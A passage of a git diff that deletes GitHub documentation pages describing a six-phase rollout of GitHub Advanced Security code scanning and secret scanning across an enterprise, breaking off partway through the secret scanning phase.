b/content/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale.md deleted file mode 100644 index e27939d99691..000000000000 --- a/content/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: 'Introduction to adopting {% data variables.product.prodname_GHAS %} at scale' -intro: 'You can adopt {% data variables.product.prodname_GHAS %} at scale in your company following industry and {% data variables.product.github %} best practices.' -allowTitleToDifferFromFilename: true -versions: - ghes: '*' - ghec: '*' -topics: - - Code Security - - Secret Protection -shortTitle: Introduction -redirect_from: - - /admin/advanced-security/overview-of-github-advanced-security-deployment - - /admin/code-security/managing-github-advanced-security-for-your-enterprise/overview-of-github-advanced-security-deployment - - /admin/advanced-security/deploying-github-advanced-security-in-your-enterprise - - /admin/code-security/managing-github-advanced-security-for-your-enterprise/deploying-github-advanced-security-in-your-enterprise ---- - -## About these articles - -{% data variables.product.prodname_GHAS %} (GHAS) products help teams build more secure code faster using integrated tooling such as secret scanning and code scanning using {% data variables.product.prodname_codeql %}. To understand the security features available through {% data variables.product.prodname_GHAS %}, see [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security). - -GHAS is a suite of tools that requires active participation from developers across your enterprise. To realize the best return on your investment, you must learn how to use, apply, and maintain GHAS. - -We’ve created a phased approach to GHAS rollouts developed from industry and GitHub best practices. We expect most customers will want to follow these phases, based on our experience helping customers with a successful deployment of {% data variables.product.prodname_GHAS %}, but you may need to modify this approach to meet the needs of your company. - -Enabling GHAS across a large organization can be broken down into six core phases. - -1. [Align on your rollout strategy and goals](/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals): Think about what success will look like, and align on how GHAS will be implemented in your company. This phase may only take a few days or a week, but it lays a solid foundation for the rest of the rollout. - -1. [Preparing to enable at scale](/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale): Prepare developers, collect data about your repositories, and ensure you're ready for the next phase. - -1. [Pilot programs](/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs): Optionally, pilot an initial rollout to a few high-impact projects and teams. This will allow an initial group within your company to get familiar with GHAS before you roll out to the remainder of your company. - -1. [Create internal documentation](/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation): Create and communicate internal documentation for the consumers of GHAS. Without proper documentation provided to developers, security engineers, and others who will be using GHAS, the value will get lost in the rollout. - -1. [Rollout and scale {% data variables.product.prodname_code_scanning %}](/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning): Leveraging the available APIs, automatically rollout {% data variables.product.prodname_code_scanning %} by team and by language across your enterprise, using the repository data you collected earlier. - -1. [Rollout and scale {% data variables.product.prodname_secret_scanning %}](/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning): Roll out {% data variables.product.prodname_secret_scanning %}, which involves less configuration and is therefore simpler to adopt than {% data variables.product.prodname_code_scanning %}. Still, it's critical to have a strategy for handling new and old results. - -## {% data variables.contact.github_support %} and {% data variables.product.prodname_professional_services %} - -If you encounter any issues or have any questions during your implementation, you can search our documentation for solutions or engage with {% data variables.contact.github_support %}. For more information, see [AUTOTITLE](/support/learning-about-github-support/about-github-support). - -If you prefer to have guidance throughout the rollout process, {% data variables.product.prodname_professional_services_team %} can partner with you for a successful rollout and implementation of {% data variables.product.prodname_GHAS %}. We offer a variety of {% data variables.product.prodname_professional_services %} options for guidance and support. We also have training and bootcamps available to help your company to optimize the value of {% data variables.product.prodname_GHAS %}. - -Speak with your sales representative for more information about all the {% data variables.product.prodname_professional_services %} options available. For more information, contact {% data variables.contact.contact_enterprise_sales %}. - ->[!TIP] -> For the first article in this series, see [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals). diff --git a/content/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals.md b/content/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals.md deleted file mode 100644 index a991d592136f..000000000000 --- a/content/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: 'Phase 1: Align on your rollout strategy and goals' -intro: '{% ifversion ghas-products %}Before enabling {% data variables.product.prodname_GH_code_security %} and {% data variables.product.prodname_GH_secret_protection %} features, plan how these GHAS products should be rolled out across your enterprise.{% else %}Before enabling {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, plan how GHAS should be rolled out across your enterprise.{% endif %}' -versions: - ghes: '*' - ghec: '*' -topics: - - Code Security - - Secret Protection -shortTitle: 1. Align on strategy ---- - -> [!TIP] -> This article is part of a series on adopting {% data variables.product.prodname_GHAS %} at scale. For the introduction to this series, see [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale). - -## Set clear goals for your company’s rollout - -To build a foundation for the direction of your company's rollout, outline goals for GHAS within your company, and communicate those goals to your team. Your goals can be simple or complex, as long as your team is aligned. If you need assistance with your goals, {% data variables.product.prodname_professional_services %} can provide recommendations based on our experience with your company and other customers. - -Here are some high-level examples of what your goals for rolling out GHAS might look like: - -* Preventing secrets leakage: Many companies want to prevent critical information from being leaked, such as software keys or financial data. -* Meeting compliance requirements: For example, many healthcare companies use GHAS to prevent the exposure of PHI (Personal Health Information). -* Reducing the number of vulnerabilities: This may be in general, or because your company was recently impacted by a significant vulnerability that you believe could have been prevented by a tool like GHAS. -* Identifying high-risk repositories: Some companies simply want to target repositories that contain the most risk, enabling them to reduce risk by remediating vulnerabilities in their code and in their supply chain. -* Increasing remediation rates: To prevent the accumulation of security debt, you will wish to drive developer adoption of findings and ensure these vulnerabilities are remediated in a timely manner. - -## Lead your rollout with both your security and development groups - -Companies that involve both their security and development teams in their GHAS rollouts tend to be more successful than companies who only involve their security group, waiting to include development teams once the pilot has concluded. - -GHAS takes a developer-centered approach to software security by integrating seamlessly into the developer workflow. Having key representation from your development group early in the process decreases the risk of your rollout and encourages organizational buy-in. - -Involving development groups earlier, ideally from the time of purchase, helps companies utilize GHAS to address security concerns earlier in the development process. When both groups work together, they achieve alignment early in the process, remove silos, build and strengthen their working relationships, and take more responsibility for the rollout. - -## Learn about GHAS - -To set realistic expectations for the rollout, ensure that all stakeholders understand the following key facts about how GHAS works. - -### 1. GHAS is a suite of security tools that require action to protect your code - -GHAS is a suite of tools that increases with value when configured, maintained, used in daily workflows, and in combination with other tools. - -### 2. GHAS will require adjustment out of the box - -After GHAS is set up on your repositories, you'll need to configure GHAS to meet your company’s needs. For example: - -* Default setup for {% data variables.product.prodname_code_scanning %} automatically detects the languages to be scanned, but you may need to customize other aspects of your {% data variables.product.prodname_code_scanning %} configuration such as the application's threat model to fine tune the results. -* {% data variables.product.prodname_secret_scanning_caps %} automatically detects the patterns used by many commonly used systems, but you may want to add custom patterns to detect tokens and other secrets used by internal tooling. - -### 3. GHAS tools are most effective when used together and integrated into your application security program - -GHAS is most effective when all of the tools are used together. The effectiveness of your application security program is further improved by integrating GHAS with other tools and activities, such as penetration testing and dynamic scans. We recommend always utilizing multiple layers of protection. - -### 4. Custom {% data variables.product.prodname_codeql %} queries are used by some companies to customize and target scan results - -{% data variables.product.prodname_code_scanning_caps %} is powered by {% data variables.product.prodname_codeql %}, the world’s most powerful code analysis engine. For many of our customers, the base query set and additional queries available in the community are more than sufficient. However, other companies may require custom {% data variables.product.prodname_codeql %} queries to target different results or reduce false positives. - -If your company is interested in custom {% data variables.product.prodname_codeql %} queries, we recommend completing your rollout and implementation of GHAS first. Then, when your company is ready, {% data variables.product.prodname_professional_services %} can help you navigate your requirements and ensure your company needs custom queries. - -### 5. {% data variables.product.prodname_codeql %} scans the whole codebase, not just the changes made in a pull request - -When {% data variables.product.prodname_code_scanning %} is run from a pull request, the scan will include the full codebase and not just the changes made in the pull request. Scanning the entire codebase is an important step to ensure the change has been reviewed against all interactions in the codebase. - -> [!TIP] -> For the next article in this series, see [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale). diff --git a/content/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale.md b/content/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale.md deleted file mode 100644 index 898c9292a642..000000000000 --- a/content/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale.md +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: 'Phase 2: Preparing to enable at scale' -intro: 'In this phase you will prepare developers and collect data about your repositories to ensure your teams are ready and you have everything you need for pilot programs and rolling out {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}.' -versions: - ghes: '*' - ghec: '*' -topics: - - Code Security - - Secret Protection -shortTitle: 2. Preparation ---- - -> [!TIP] -> This article is part of a series on adopting {% data variables.product.prodname_GHAS %} at scale. For the previous article in this series, see [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals). - -## Preparing to enable {% data variables.product.prodname_code_scanning %} - -{% data reusables.code-scanning.about-code-scanning %} For more information, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning). - -Rolling {% data variables.product.prodname_code_scanning %} out across hundreds of repositories can be difficult, especially when done inefficiently. Following these steps will ensure your rollout is both efficient and successful. - -{% ifversion ghec %} -{% data variables.product.prodname_code_scanning_caps %} is also available for all public repositories on {% data variables.product.prodname_dotcom_the_website %} without a license for prodname_GH_code_security.{% endif %} - -### Preparing teams for {% data variables.product.prodname_code_scanning %} - -First, prepare your teams to use {% data variables.product.prodname_code_scanning %}. The more teams that use {% data variables.product.prodname_code_scanning %}, the more data you'll have to drive remediation plans and monitor progress on your rollout. - -For an introduction to {% data variables.product.prodname_code_scanning %}, see: -* [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning) -* [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts) -* [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository) - -Your core focus should be preparing as many teams to use {% data variables.product.prodname_code_scanning %} as possible. You can also encourage teams to remediate appropriately, but we recommend prioritizing enablement and use of {% data variables.product.prodname_code_scanning %} over fixing issues during this phase. - -{% ifversion ghes %} - -### Enabling {% data variables.product.prodname_code_scanning %} for your appliance - -Before you can proceed with pilot programs and rolling out {% data variables.product.prodname_code_scanning %} across your enterprise, you must first enable {% data variables.product.prodname_code_scanning %} for your appliance. For more information, see [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance). - -{% endif %} - -## Preparing to enable {% data variables.product.prodname_secret_scanning %} - -> [!NOTE] -> When a secret is detected in a repository that has enabled {% data variables.product.prodname_secret_scanning %}, {% data variables.product.github %} alerts all users with access to security alerts for the repository. {% ifversion ghec %} -> -> Secrets found in public repositories using {% data variables.secret-scanning.partner_alerts %} are reported directly to the partner, without creating an alert on {% data variables.product.github %}. For details about the supported partner patterns, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#supported-secrets).{% endif %} - -If a project communicates with an external service, it might use a token or private key for authentication. If you check a secret into a repository, anyone who has read access to the repository can use the secret to access the external service with your privileges. {% data variables.product.prodname_secret_scanning_caps %} will scan your entire Git history on all branches present in your {% data variables.product.github %} repositories for secrets and alert you or block the push containing the secret. For more information, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning). - -{% ifversion ghec %}{% data variables.secret-scanning.partner_alerts_caps %} runs automatically on public repositories and public npm packages to notify service providers about leaked secrets on {% data variables.product.github %}. - -{% data variables.secret-scanning.user_alerts_caps %} are available for free on all public repositories.{% endif %} - -### Considerations when enabling {% data variables.product.prodname_secret_scanning %} - -Enabling {% data variables.product.prodname_secret_scanning %} at the organizational level can be easy, but clicking **Enable All** at the organization level and selecting the option **Automatically enable {% data variables.product.prodname_secret_scanning %} for every new repository** has some downstream effects that you should be aware of: - -#### License consumption - -Enabling {% data variables.product.prodname_secret_scanning %} for all repositories will maximize your use of {% data variables.product.prodname_GH_secret_protection %} licenses. This is fine if you have enough licenses for the current committers to all those repositories. If the number of active developers is likely to increase in the coming months, you may exceed your license limit and then be unable to use {% data variables.product.prodname_secret_scanning %} on newly created repositories. - -#### Initial high volume of detected secrets - -If you are enabling {% data variables.product.prodname_secret_scanning %} on a large organization, be prepared to see a high number of secrets found. Sometimes this comes as a shock to organizations and the alarm is raised. If you would like to turn on {% data variables.product.prodname_secret_scanning %} across all repositories at once, plan for how you will respond to multiple alerts across the organization. - -{% data variables.product.prodname_secret_scanning_caps %} can be enabled for individual repositories. For more information, see [AUTOTITLE](/code-security/secret-scanning/enabling-secret-scanning-features/enabling-secret-scanning-for-your-repository). {% data variables.product.prodname_secret_scanning_caps %} can also be enabled for all repositories in your organization, as described above. For more information on enabling for all repositories, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization). - -### Custom patterns for {% data variables.product.prodname_secret_scanning %} - -{% data variables.product.prodname_secret_scanning_caps %} detects a large number of default patterns but can also be configured to detect custom patterns, such as secret formats unique to your infrastructure or used by integrators that {% data variables.product.github %}'s {% data variables.product.prodname_secret_scanning %} does not currently detect. For more information about supported secrets for partner patterns, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns). - -As you audit your repositories and speak to security and developer teams, build a list of the secret types that you will later use to configure custom patterns for {% data variables.product.prodname_secret_scanning %}. For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning). - -### Push protection for {% data variables.product.prodname_secret_scanning %} - -Push protection for organizations and repositories instructs {% data variables.product.prodname_secret_scanning %} to check pushes for supported secrets _before_ secrets are committed to the codebase. For information on which secrets are supported, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#supported-secrets). - -If a secret is detected in a push, that push is blocked. {% data variables.product.prodname_secret_scanning_caps %} lists any secrets it detects so the author can review the secrets and remove them or, if needed, allow those secrets to be pushed. {% data reusables.secret-scanning.push-protection-custom-pattern %} - -Developers have the option to bypass push protection by reporting that a secret is a false positive, that it is used in tests, or that it will be fixed later. - -{% data reusables.secret-scanning.push-protection-bypass %} - -Before enabling push protection, consider whether you need to create guidance for developer teams on the acceptable conditions for bypassing push protection. You can configure a link to this resource in the message that's displayed when a developer attempts to push a blocked secret. - -Next, familiarize yourself with the different options for managing and monitoring alerts that are the result of a contributor bypassing push protection. - -For more information, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-push-protection). - -> [!TIP] -> For the next article in this series, see [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs). diff --git a/content/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs.md b/content/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs.md deleted file mode 100644 index ed0256735419..000000000000 --- a/content/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs.md +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: 'Phase 3: Pilot programs' -intro: 'You may benefit from beginning with a few high-impact projects and teams with which to pilot an initial rollout. This will allow an initial group within your company to get familiar with GHAS, learn how to enable and configure GHAS, and build a solid foundation on GHAS before rolling out to the remainder of your company.' -versions: - ghes: '*' - ghec: '*' -topics: - - Code Security - - Secret Protection -shortTitle: 3. Pilot programs ---- - ->[!TIP] -> This article is part of a series on adopting {% data variables.product.prodname_GHAS %} at scale. For the previous article in this series, see [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale). - -## About pilot programs - -We recommend you identify a few high-impact projects or teams to use in a pilot rollout of GHAS. This allows an initial group within your company to get familiar with GHAS and builds a solid foundation for GHAS before you roll it out to the remainder of your company. - -The steps in this phase will help you enable GHAS on your enterprise, begin using its features, and review your results. If you’re working with {% data variables.product.prodname_professional_services %}, they can provide additional assistance through this process through onboarding sessions, GHAS workshops, and troubleshooting as needed. - -Before you start your pilot projects, we recommend that you schedule some meetings for your teams, such as an initial meeting, midpoint review, and a wrap-up session when the pilot is complete. These meetings will help you all make adjustments as needed and ensure your teams are prepared and supported to complete the pilot successfully. - -{% ifversion ghes %} - -If you haven't already enabled GHAS for your {% data variables.product.prodname_ghe_server %} instance, see [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise). - -{% endif %} - -{% ifversion security-configurations %} - -## Piloting all {% data variables.product.prodname_GHAS %} features - -{% data reusables.security-configurations.enable-security-features-with-gh-config %} - -{% endif %} - -## Piloting {% data variables.product.prodname_code_scanning %} - -{% ifversion ghes %} - -To enable {% data variables.product.prodname_code_scanning %} on your {% data variables.product.prodname_ghe_server %} instance, see [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance). - -{% endif %} - -You can quickly configure default setup for {% data variables.product.prodname_code_scanning %} across multiple repositories in an organization using security overview. For more information, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning-at-scale#configuring-default-setup-for-a-subset-of-repositories-in-an-organization). - -You can also choose to enable {% data variables.product.prodname_code_scanning %} for all repositories in an organization, but we recommend configuring {% data variables.product.prodname_code_scanning %} on a subset of high-impact repositories for your pilot program. - -{% data reusables.advanced-security.enable-default-setup-first %} - -If your company wants to use other third-party code analysis tools with {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_code_scanning %}, you can use actions to run those tools within {% data variables.product.prodname_dotcom %}. Alternatively, you can upload results, which are generated by third-party tools as SARIF files, to {% data variables.product.prodname_code_scanning %}. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning). - -## Piloting {% data variables.product.prodname_secret_scanning %} - -{% data variables.product.prodname_dotcom %} scans repositories for known types of secrets, to prevent fraudulent use of secrets that were committed accidentally. - -{% ifversion ghes %} - -To enable secret scanning for your {% data variables.product.prodname_ghe_server %} instance, see [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance). - -{% endif %} - -{% ifversion security-configurations %} - -{% ifversion security-configurations-cloud %} - -You need to enable {% data variables.product.prodname_secret_scanning %} and push protection for each pilot project. You can do this with the {% data variables.product.prodname_github_security_configuration %}, or you can create a {% data variables.product.prodname_custom_security_configuration %}. For more information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-the-github-recommended-security-configuration-in-your-organization) and [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration). - -{% elsif security-configurations-ghes-only %} - -You need to enable {% data variables.product.prodname_secret_scanning %} and push protection for each pilot project. You can do this with a {% data variables.product.prodname_security_configuration %}. For more information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration). - -{% endif %} - -{% else %} - -You need to enable {% data variables.product.prodname_secret_scanning %} for each pilot project, either by enabling the feature for each repository or for all repositories in any organizations taking part in the project. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository) or [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization). - -Next, enable push protection for each pilot project. - -{% endif %} - -If you plan to configure a link to a resource in the message that's displayed when a developer attempts to push a blocked secret, now would be a good time to test and start to refine the guidance that you plan to make available. - -Start to review activity using the push protection metrics page in security overview. For more information, see [AUTOTITLE](/code-security/security-overview/viewing-metrics-for-secret-scanning-push-protection). - -If you have collated any custom patterns specific to your enterprise, especially any related to the projects piloting {% data variables.product.prodname_secret_scanning %}, you can configure those. For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning). - -To learn how to view and close alerts for secrets checked into your repository, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning). - ->[!TIP] -> For the next article in this series, see [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation). diff --git a/content/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation.md b/content/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation.md deleted file mode 100644 index b1b459a738bf..000000000000 --- a/content/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: 'Phase 4: Create internal documentation' -intro: 'You will create internal documentation and then communicate this to the consumers of {% data variables.product.prodname_GHAS %}.' -versions: - ghes: '*' - ghec: '*' -topics: - - Code Security - - Secret Protection -shortTitle: 4. Create internal documentation ---- - ->[!TIP] -> This article is part of a series on adopting {% data variables.product.prodname_GHAS %} at scale. For the previous article in this series, see [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs). - -Before enabling {% data variables.product.prodname_GHAS %}, you should create internal documentation that defines processes for teams to follow. Everyone needs to know what to do when they receive a security alert, even if the process simply asks the team to apply their best judgment. Documentation will also prevent developers from getting blocked when they have questions. You should put the documentation about GHAS with existing developer-focused documentation, such as your developer portal or custom knowledge base. - -If you ran pilot programs, use the experiences and feedback from the teams involved in those pilots to influence your documentation. This is especially useful if you encountered issues that are specific to your company, that other teams will also likely encounter. - -If you skip creating internal documentation, your rollout won’t go at your intended pace. Creating internal documentation may slow the initial rollout by a week or two, but that time will be made up when developers can answer their own questions instead of coming to your team. - -Education is probably the most crucial part of the rollout as it teaches developers what to do in different situations. You should ensure developers are empowered to maintain the security of their repository and that the security team are authorized to verify both what developers are doing and that it's in the best interest of security. In addition to internal documentation, education can take the form of online sessions, Q&As, etc. - ->[!TIP] -> For the next article in this series, see [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning). diff --git a/content/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning.md b/content/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning.md deleted file mode 100644 index a1cfc704c864..000000000000 --- a/content/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: 'Phase 5: Rollout and scale code scanning' -intro: 'You can {% ifversion security-configuration-enterprise-level %}use security configurations{% else %}leverage the available APIs{% endif %} to rollout {% data variables.product.prodname_code_scanning %} across your enterprise{% ifversion security-configurations %}{% else %} using the repository data you collected earlier{% endif %}.' -versions: - ghes: '*' - ghec: '*' -topics: - - Code Security - - Secret Protection -shortTitle: 5. Rollout code scanning ---- - ->[!TIP] -> This article is part of a series on adopting {% data variables.product.prodname_GHAS %} at scale. For the previous article in this series, see [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation). - -{% ifversion security-configurations %} - -{% data reusables.security-configurations.enable-security-features-with-gh-config %} - -{% endif %} - -## Enabling code scanning - -After piloting {% data variables.product.prodname_code_scanning %} and creating internal documentation for best practices, you can enable {% data variables.product.prodname_code_scanning %} across your company. You can configure {% data variables.product.prodname_code_scanning %} default setup for all repositories in an organization from security overview. For more information, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning-at-scale#configuring-default-setup-for-all-eligible-repositories-in-an-organization). - -{% data reusables.advanced-security.enable-default-setup-first %} - -## Building subject matter expertise - -To successfully manage and use {% data variables.product.prodname_code_scanning %} across your company, you should build internal subject matter expertise. For default setup for {% data variables.product.prodname_code_scanning %}, one of the most important areas for subject matter experts (SMEs) to understand is interpreting and fixing {% data variables.product.prodname_code_scanning %} alerts. For more information about {% data variables.product.prodname_code_scanning %} alerts, see: - -* [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts) -* [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository) -* [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/resolving-code-scanning-alerts) - -You'll also need SMEs if you need to use advanced setup for {% data variables.product.prodname_code_scanning %}. These SMEs will need knowledge of {% data variables.product.prodname_code_scanning %} alerts, as well as topics like {% data variables.product.prodname_actions %} and customizing {% data variables.product.prodname_code_scanning %} workflows for particular frameworks. For custom configurations of advanced setup, consider running meetings on complicated topics to scale the knowledge of several SMEs at once. - -{% ifversion security-overview-org-codeql-pr-alerts %} - -For {% data variables.product.prodname_code_scanning %} alerts from {% data variables.product.prodname_codeql %} analysis, you can use security overview to see how {% data variables.product.prodname_codeql %} is performing in pull requests in repositories across your organization, and to identify repositories where you may need to take action. For more information, see [AUTOTITLE](/code-security/security-overview/viewing-metrics-for-pull-request-alerts). - -{% endif %} - -{% ifversion copilot-chat-ghas-alerts %} - -With a {% data variables.product.prodname_copilot_enterprise %} license, you can also ask {% data variables.product.prodname_copilot_chat %} for help to better understand {% data variables.product.prodname_code_scanning %} alerts in repositories in your organization. For more information, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-githubcom#asking-questions-about-alerts-from-github-advanced-security-features). - -{% endif %} - ->[!TIP] -> For the next article in this series, see [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning). diff --git a/content/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning.md b/content/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning.md deleted file mode 100644 index fbee9ebdb00b..000000000000 --- a/content/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning.md +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: 'Phase 6: Rollout and scale secret scanning' -intro: 'For the final phase, you will focus on the rollout of {% data variables.product.prodname_secret_scanning %}. {% data variables.product.prodname_secret_scanning_caps %} is a more straightforward tool to rollout than {% data variables.product.prodname_code_scanning %}, as it involves less configuration, but it''s critical to have a strategy for handling new and old results.' -versions: - ghes: '*' - ghec: '*' -topics: - - Code Security - - Secret Protection -shortTitle: 6. Rollout secret scanning ---- - ->[!TIP] -> This article is part of a series on adopting {% data variables.product.prodname_GHAS %} at scale. For the previous article in this series, see [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning). - -{% ifversion security-configurations %} - -{% data reusables.security-configurations.enable-security-features-with-gh-config %} - -{% else %} - -You can enable secret scanning for individual repositories or for all repositories in an organization or enterprise. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository), [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization), or [AUTOTITLE](/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise). - -{% endif %} - -This article explains a high-level process focusing on enabling {% data variables.product.prodname_secret_scanning %} for all repositories in an organization. The principles described in this article can still be applied even if you take a more staggered approach of enabling {% data variables.product.prodname_secret_scanning %} for individual repositories. - -{% ifversion copilot-chat-ghas-alerts %} - -With a {% data variables.product.prodname_copilot_enterprise %} license, you can also ask {% data variables.product.prodname_copilot_chat %} for help to better understand {% data variables.product.prodname_secret_scanning %} alerts in repositories in your organization. For more information, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-githubcom#asking-questions-about-alerts-from-github-advanced-security-features). - -{% endif %} - -## 1. Focus on newly committed secrets - -When you enable {% data variables.product.prodname_secret_scanning %}, you should focus on remediating any newly committed credentials detected by secret scanning. If you focus on cleaning up committed credentials, developers could continue to accidentally push new credentials, which means your total secret count will stay around the same level, not decrease as intended. This is why it is essential to stop new credentials being leaked before focusing on revoking any current secrets. - -There are a few approaches for tackling newly committed credentials, but one example approach would be: - -1. **Notify:** Use webhooks to ensure that any new secret alerts are seen by the right teams as quickly as possible. A webhook fires when a secret alert is either created, resolved, or reopened. You can then parse the webhook payload, and integrate it into any tools you and your team use such Slack, Teams, Splunk, or email. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks/about-webhooks) and [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#secret_scanning_alert). -1. **Follow Up:** Create a high-level remediation process that works for all secret types. For example, you could contact the developer who committed the secret and their technical lead on that project, highlighting the dangers of committing secrets to {% data variables.product.prodname_dotcom %}, and asking the them to revoke, and update the detected secret. - - > [!NOTE] - > You can automate this step. For large enterprises and organizations with hundreds of repositories, manually following up is unsustainable. You could incorporate automation into the webhook process defined in the first step. The webhook payload contains repository and organization information about the leaked secret. Using this information, you can contact the current maintainers on the repository and create an email/message to the responsible people or open an issue. - -1. **Educate:** Create an internal training document assigned to the developer who committed the secret. Within this training document, you can explain the risks created by committing secrets and direct them to your best practice information about using secrets securely in development. If a developer doesn't learn from the experience and continues to commit secrets, you could create an escalation process, but education usually works well. - -Repeat the last two steps for any new secrets leaked. This process encourages developers to take responsibility for managing the secrets used in their code securely, and allows you to measure the reduction in newly committed secrets. - -> [!NOTE] -> More advanced organizations may want to perform auto-remediation of certain types of secrets. There is an open-source initiative called [GitHub Secret Scanner Auto Remediator](https://github.com/NickLiffen/GSSAR) which you can deploy into your AWS, Azure, or GCP environment and tailor to automatically revoke certain types of secrets based on what you define as the most critical. This is also an excellent way to react to new secrets being committed with a more automated approach. - -## 2. Enable 